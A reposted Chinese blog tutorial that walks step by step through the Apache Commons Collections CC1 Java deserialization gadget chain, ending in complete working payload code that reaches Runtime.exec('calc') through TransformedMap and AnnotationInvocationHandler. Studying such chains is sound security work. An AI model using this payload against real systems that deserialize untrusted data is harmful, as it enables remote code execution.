Java代码审计-CC1 Chains
Posted OceanSec
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Java代码审计-CC1 Chains相关的知识,希望对你有一定的参考价值。
有关环境配置和IDEA调试可以看上一篇文章,电梯
分析
Java集合框架
Java集合框架是对多个数据进行存储操作的结构,其主要分为Collection
和Map
两种体系:
Collection接口:单例数据,定义了存取一组对象的方法的集合
Map接口:双列数据,保存具有映射关系“Key-value”的集合
Apache Commons Collections:一个扩展了Java标准库里集合框架的第三方基础库。它包含有很多 jar 工具包,提供了很多强有力的数据结构类型并且实现了各种集合工具类
先来看通过反射执行命令弹出计算器
public class test
public static void main(String[] args) throws Exception
// 命令直接弹
Runtime.getRuntime().exec("calc");
// 反射
Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(runtime,"calc");
再来看 transform,可以发现这里使用了反射调用,并且 input 可控
那么既然知道了漏洞最终触发点,就需要倒推回去查找整个 chain,transform 方法在 InvokerTransformer 对象中,以下为 invoketransformer 构造方法
InvokerTransformer 是实现了 Transformer 接口的一个类,需要传入三个参数,第一个参数是待执行的方法名,第二个参数是这个函数的参数列表的参数类型,第三个参数是参数列表
invoketransformer 构造方法中规定了传入的数据类型,据此构造 transform 的方法调用
public class test
public static void main(String[] args) throws Exception
Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]String.class,new Object[]"calc").transform(runtime);
经过参数赋值,就变成了一开始我们写的直接执行反射的代码
继续倒推 chain,在 transform 上右击选择 Find Usages 或者使用快捷键 alt + f7 查看函数调用关系,查找那个函数调用了 transform,最后的目标是到 readObject
寻找可用的利用链,发现 TranformedMap 中的 checkSetValue 方法调用了 transform,当然 LazyMap 也可以,在之后会分析
protected Object checkSetValue(Object value)
return valueTransformer.transform(value);
TransformedMap 用于对 Java 标准数据结构 Map 做一个修饰,被修饰过的 Map 在添加新元素是,将可以执行一个回调
查看 TranformedMap 的构造方法,因为是 protected 属性所以需要继续找调用
这一部分的 payload
public class test
public static void main(String[] args) throws Exception
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]String.class,new Object[]"calc");
HashMap<Object,Object> map = new HashMap<>();
TransformedMap.decorate(map, null, invokerTransformer);
接下来就要去找在哪里使用了 checkSetValue
当遍历 map 时会调用 setValue,继续构造 payload,写一个遍历去触发 setValue
public class test
public static void main(String[] args) throws Exception
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]String.class,new Object[]"calc");
HashMap<Object,Object> map = new HashMap<>();
map.put("key","abc");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry: transformedMap.entrySet())
// 会调用 SetValue,SetValue 中调用了 checkSetValue,checkSetValue 调用了 transform
entry.setValue(runtime);
调用 SetValue,SetValue 中调用了 checkSetValue,checkSetValue 调用了 transform,其中 SetValue 的值是可控的,就会一步步传递
这样的话最终执行就会弹出计算器,但是还没有完成,最终我们需要找的是 readObject 中触发,使用 alt + f7 查找哪里调用了 SetValue,最好是直接在 readObject 中调用的,这样的话这条链就完整了,不要找同名函数调用陷入循环
在 sun.reflect.annotation 中的 AnnotationInvocationHandler 中找到了使用 readObject 调用的函数 memberValue.setValue
其中 memberValues 是可控的
继续构造 payload,因为 AnnotationInvocationHandler 没有注明函数类型,默认为 default,即只能在本包内使用,所以需要用反射调用执行
public class test
public static void main(String[] args) throws Exception
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]String.class, new Object[]"calc");
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "abc");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
// for (Map.Entry entry: transformedMap.entrySet())
// // 会调用 SetValue,SetValue 中调用了 checkSetValue,checkSetValue 调用了 transform
// entry.setValue(runtime);
//
// 无用
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationdhlConstructor.setAccessible(true);
Object o = new annotationInvocationdhlConstructor.newInstance(Override.class, transformedMap);
// Override 注解类型
serialize(o);
unserialize("ser.bin");
public static void serialize(Object obj) throws IOException
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
现在又两个问题
- Runtime 类不可以被序列化,没有继承 serializable 接口
- for 循环中的 AnnotationTypeMismatchExceptionProxy 是无法控制的
解决第一个问题
使用 Runtime.class 代替 runtime
Runtime.class 是一个 java.lang.Class 对象,Class 类实现了 Serializable 接口,所以可以被序列化
Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");
这是只使用反射的方法,还需要结合 transform
解决第二个问题
有一个 if 语句对 memberType 进行判断,只有不是 null 的时候才能进入
根据 p 神的 Java 安全漫谈,给出了两个条件
- sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation 的子类,且其中必须含有至少一个方法
- 被 TransformedMap.decorate 修饰的 Map 中放入一个 key 是 value 的元素
最终完整的 payload
public class test
public static void main(String[] args) throws Exception
Transformer[] transformers = new Transformer[]
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]String.class,Class[].class, new Object[]"getRuntime",new Class[0]),
new InvokerTransformer("invoke",new Class[]Object.class,Object[].class,new Object[]null,new Object[0]),
new InvokerTransformer("exec", new Class[]String.class, new Object[]"calc"),;
// ConstantTransformer 是实现了 Transformer 接口的一个类,他的过程就是构造函数时传入一个对象,并在 transform 方法将这个对象返回
Transformer transformerChain = new ChainedTransformer(transformers);
// chainedtransformer 作用是将内部的多个 transformer 串在一起,将前一个回调结果作为后一个的参数传入
Map innerMap = new HashMap();
innerMap.put("value", "xxxx"); // 第一个值必须为value
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
HashMap hashMap = new HashMap();
Class clas = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clas.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Retention.class, outerMap);
serialize(obj);
unserialize("ser.bin");
public static void serialize(Object obj) throws IOException
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
Java 8u71 之后的版本不在可用
参考链接:
- Java反序列化CommonsCollections篇
- P 牛 Java 安全漫谈
同时也强烈安利
以上是关于Java代码审计-CC1 Chains的主要内容,如果未能解决你的问题,请参考以下文章